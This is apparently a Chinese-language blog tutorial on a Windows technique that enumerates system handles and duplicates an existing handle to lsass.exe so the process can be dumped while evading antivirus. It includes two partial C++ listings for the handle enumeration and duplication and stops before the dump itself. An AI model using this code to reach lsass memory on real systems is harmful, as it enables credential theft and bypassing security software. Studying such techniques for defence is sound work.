这是国外老哥2020年提出的一种蛮有意思的思路。
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大致思路
我们先来看看大致的思路是什么样子的,然后来看看一些需要学习的点。
首先我们需要获得调式权限(SeDebugPrivilege)
然后我们使用NtQuerySystemInformation生成所有进程打开的所有句柄
利用OpenProcess打开句柄,赋予PROCESS_DUP_HANDLE权限
NtDuplicateObject将获取远程进程句柄的副本到我们的进程
利用NtQueryObject函数判断句柄是进程句柄还是其他一些东西
如果是进程句柄,则使用该句柄的副本调用QueryFullProcessImageName函数,它将显示进程可执行路径,以此判断是不是我们需要的那个进程
获得系统的调试权限就不多提了,这个利用RtlAdjustPrivilege函数即可轻松的获取到权限(不过需要在管理员权限下运行),我们先看看这个几函数以及其参数
NtQuerySystemInformation
NtQuerySystemInformation函数原型
__kernel_entry NTSTATUS NtQuerySystemInformation( [in] SYSTEM_INFORMATION_CLASS SystemInformationClass, [in, out] PVOID SystemInformation, [in] ULONG SystemInformationLength, [out, optional] PULONG ReturnLength );
第一个参数就是要检索的系统信息的类型,我们这里使用SYSTEM_HANDLE_INFORMATION,可能在MSDN上没有这个参数,我们看看SYSTEM_HANDLE_INFORMATION的结构
typedef struct _SYSTEM_HANDLE { ULONG ProcessId; BYTE ObjectTypeNumber; BYTE Flags; USHORT Handle; PVOID Object; ACCESS_MASK GrantedAccess; } SYSTEM_HANDLE, *PSYSTEM_HANDLE; typedef struct _SYSTEM_HANDLE_INFORMATION { ULONG HandleCount; SYSTEM_HANDLE Handles[1]; } SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;
在_SYSTEM_HANDLE_INFORMATION中
HandleCount:表示句柄的总数
Handles[1]:即是单个的句柄(同时其详细结构在_SYSTEM_HANDLE中)
在_SYSTEM_HANDLE中表示单个句柄的参数
ProcessId:进程标识符
ObjectTypeNumber:打开的对象的类型
Flags:句柄属性标志
Handle:句柄数值,在进程打开的句柄中唯一标识某个句柄
Object:这个就是句柄对应的EPROCESS的地址
GrantedAccess:句柄对象的访问权限
NtDuplicateObject
NtDuplicateObject这个参数是复制句柄,其原型如下,其可以对照ZwDuplicateObject
NTSYSCALLAPI NTSTATUS NTAPI NtDuplicateObject( _In_ HANDLE SourceProcessHandle, _In_ HANDLE SourceHandle, _In_opt_ HANDLE TargetProcessHandle, _Out_opt_ PHANDLE TargetHandle, _In_ ACCESS_MASK DesiredAccess, _In_ ULONG HandleAttributes, _In_ ULONG Options );
SourceProcessHandle:要复制的句柄的源进程句柄
SourceHandle:要复制的句柄
TargetProcessHandle:接收新进程的目标进程句柄
一个句柄指针(就是保存句柄的副本)
访问的权限
后面两个就不说明了,一般填0
NtQueryObject
NtQueryObject函数原型如下
NTSYSCALLAPI NTSTATUS NTAPI NtQueryObject( _In_ HANDLE Handle, _In_ OBJECT_INFORMATION_CLASS ObjectInformationClass, _Out_opt_ PVOID ObjectInformation, _In_ ULONG ObjectInformationLength, _Out_opt_ PULONG ReturnLength );
主要是第二个参数,第二个参数我们用到OBJECT_TYPE_INFORMATION(我没有找到解释)
typedef struct _OBJECT_TYPE_INFORMATION { UNICODE_STRING Name; ULONG TotalNumberOfObjects; ULONG TotalNumberOfHandles; ULONG TotalPagedPoolUsage; ULONG TotalNonPagedPoolUsage; ULONG TotalNamePoolUsage; ULONG TotalHandleTableUsage; ULONG HighWaterNumberOfObjects; ULONG HighWaterNumberOfHandles; ULONG HighWaterPagedPoolUsage; ULONG HighWaterNonPagedPoolUsage; ULONG HighWaterNamePoolUsage; ULONG HighWaterHandleTableUsage; ULONG InvalidAttributes; GENERIC_MAPPING GenericMapping; ULONG ValidAccess; BOOLEAN SecurityRequired; BOOLEAN MaintainHandleCount; USHORT MaintainTypeList; ULONG PoolType; ULONG PagedPoolUsage; ULONG NonPagedPoolUsage; } OBJECT_TYPE_INFORMATION, *POBJECT_TYPE_INFORMATION;
之后我们需要将缓冲区转换为UNICODE_STRING
typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING, *PUNICODE_STRING;
Buffer是我们需要用到的,用于判断其是什么类型
我们随机选择一个进程进行测试,这里选择1048,我们将其进程中Type为Thread的和Handle给打印出来
#include <windows.h> #include <stdio.h> #include <iostream> #include "ntdll.h" #pragma comment(lib, "ntdll") using namespace std; int main(int argc, char* argv[]) { NTSTATUS status; ULONG handleInfoSize = 0x10000; PSYSTEM_HANDLE_INFORMATION handleInfo; HANDLE dupHandle; ULONG returnLength; HANDLE hProcess = NULL; DWORD pid = 1048; HANDLE processHandle = OpenProcess(PROCESS_DUP_HANDLE, FALSE, pid); if (!processHandle) { printf("Could not open PID %d! (Don't try to open a system process.)\n", pid); return 1; } handleInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(handleInfoSize); while ((status = NtQuerySystemInformation(SystemHandleInformation, handleInfo, handleInfoSize, NULL)) == STATUS_INFO_LENGTH_MISMATCH) { handleInfo = (PSYSTEM_HANDLE_INFORMATION)realloc(handleInfo, handleInfoSize *= 2); } if (!NT_SUCCESS(status)) { cout << "[-] NtQuerySystemInformation Error" << endl; return 1; } //枚举所有的句柄 for (ULONG i = 0; i < handleInfo->HandleCount; i++) { if (handleInfo->Handles[i].ProcessId != pid) { continue; } //复制句柄存储到dupHandle status = NtDuplicateObject(processHandle, (HANDLE)handleInfo->Handles[i].Handle, GetCurrentProcess(), &dupHandle, PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, 0, 0); if (status != STATUS_SUCCESS) { continue; } PVOID ObjectTypeInfo = (POBJECT_TYPE_INFORMATION)malloc(0x1000); status = NtQueryObject(dupHandle, ObjectTypeInformation, ObjectTypeInfo, 0x1000, NULL); if (status != STATUS_SUCCESS) { printf("[%#x] Error!\n", handleInfo->Handles[i].Handle); CloseHandle(dupHandle); continue; } UNICODE_STRING objectType = *(PUNICODE_STRING)ObjectTypeInfo; if (objectType.Length) { if (wcsstr(objectType.Buffer, L"Thread") != NULL) { printf("Handle:[%#x] Type: % S\n", handleInfo->Handles[i].Handle, objectType.Buffer); } } } free(handleInfo); }
代码可能写的有点磕碜,读者可以参考一下:https://blez.wordpress.com/2012/09/17/enumerating-opened-handles-from-a-process/
但是我们可以看到Name中有些进程并不是我们想要的,我们可以看看lsass.exe中Type为Process的Name,有很多我们并不需要的
因此我们需要对Name进行筛选,这时候就需要用到QueryFullProcessImageName
QueryFullProcessImageName
QueryFullProcessImageName函数原型
WINBASEAPI BOOL WINAPI QueryFullProcessImageNameW( _In_ HANDLE hProcess, _In_ DWORD dwFlags, _Out_writes_to_(*lpdwSize, *lpdwSize) LPWSTR lpExeName, _Inout_ PDWORD lpdwSize );
根据其句柄获得其文件的路径,我们可以利用其去判断是否是我们需要的文件
部分实现
#include <windows.h> #include <stdio.h> #include <iostream> #include "ntdll.h" #pragma comment(lib, "ntdll") using namespace std; int SeDebugPrivilege() { BOOLEAN t; NTSTATUS status = RtlAdjustPrivilege(20, TRUE, FALSE, &t); if (!NT_SUCCESS(status)) { cout << "[-] Unable to resolve RtlAdjustPrivilege" << endl; return 1; } cout << "[+] RtlAdjustPrivilege Success" << endl; } int main(int argc, char* argv[]) { NTSTATUS status; ULONG handleInfoSize = 0x10000; PSYSTEM_HANDLE_INFORMATION handleInfo; HANDLE dupHandle; ULONG returnLength; HANDLE hProcess = NULL; SeDebugPrivilege(); DWORD pid = ; HANDLE processHandle = OpenProcess(PROCESS_DUP_HANDLE, FALSE, pid); if (!processHandle) { printf("Could not open PID %d! (Don't try to open a system process.)\n", pid); return 1; } handleInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(handleInfoSize); while ((status = NtQuerySystemInformation(SystemHandleInformation, handleInfo, handleInfoSize, NULL)) == STATUS_INFO_LENGTH_MISMATCH) { handleInfo = (PSYSTEM_HANDLE_INFORMATION)realloc(handleInfo, handleInfoSize *= 2); } if (!NT_SUCCESS(status)) { cout << "[-] NtQuerySystemInformation Error" << endl; return 1; } //枚举所有的句柄 for (ULONG i = 0; i < handleInfo->HandleCount; i++) { if (handleInfo->Handles[i].ProcessId != pid) { continue; } //复制句柄存储到dupHandle status = NtDuplicateObject(processHandle, (HANDLE)handleInfo->Handles[i].Handle, GetCurrentProcess(), &dupHandle, PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, 0, 0); if (status != STATUS_SUCCESS) { continue; } PVOID ObjectTypeInfo = (POBJECT_TYPE_INFORMATION)malloc(0x1000); status = NtQueryObject(dupHandle, ObjectTypeInformation, ObjectTypeInfo, 0x1000, NULL); if (status != STATUS_SUCCESS) { printf("[%#x] Error!\n", handleInfo->Handles[i].Handle); CloseHandle(dupHandle); continue; } UNICODE_STRING objectType = *(PUNICODE_STRING)ObjectTypeInfo; wchar_t path[MAX_PATH]; DWORD maxpath = MAX_PATH; if (objectType.Length) { if (wcsstr(objectType.Buffer, L"Process") != NULL) { QueryFullProcessImageNameW(dupHandle, 0, path, &maxpath); if (wcsstr(path, L"") != NULL) { printf("Handle:[%#x] Type:%S DupHandle Handle:[%#x]\n", handleInfo->Handles[i].Handle, objectType.Buffer, dupHandle); } } } } free(handleInfo); }
我们对lsass.exe进行了枚举,并且打印了复制的句柄副本
之后就可以利用其对应的复制的句柄副本进行dump了,后面就不讨论了。
我们上面是直接给的进程的pid,我们可以通过进程快照或者复制所有的进程句柄,到最后判断那再进行筛选来自动获得其进程。
参考文章:
https://skelsec.medium.com/duping-av-with-handles-537ef985eb03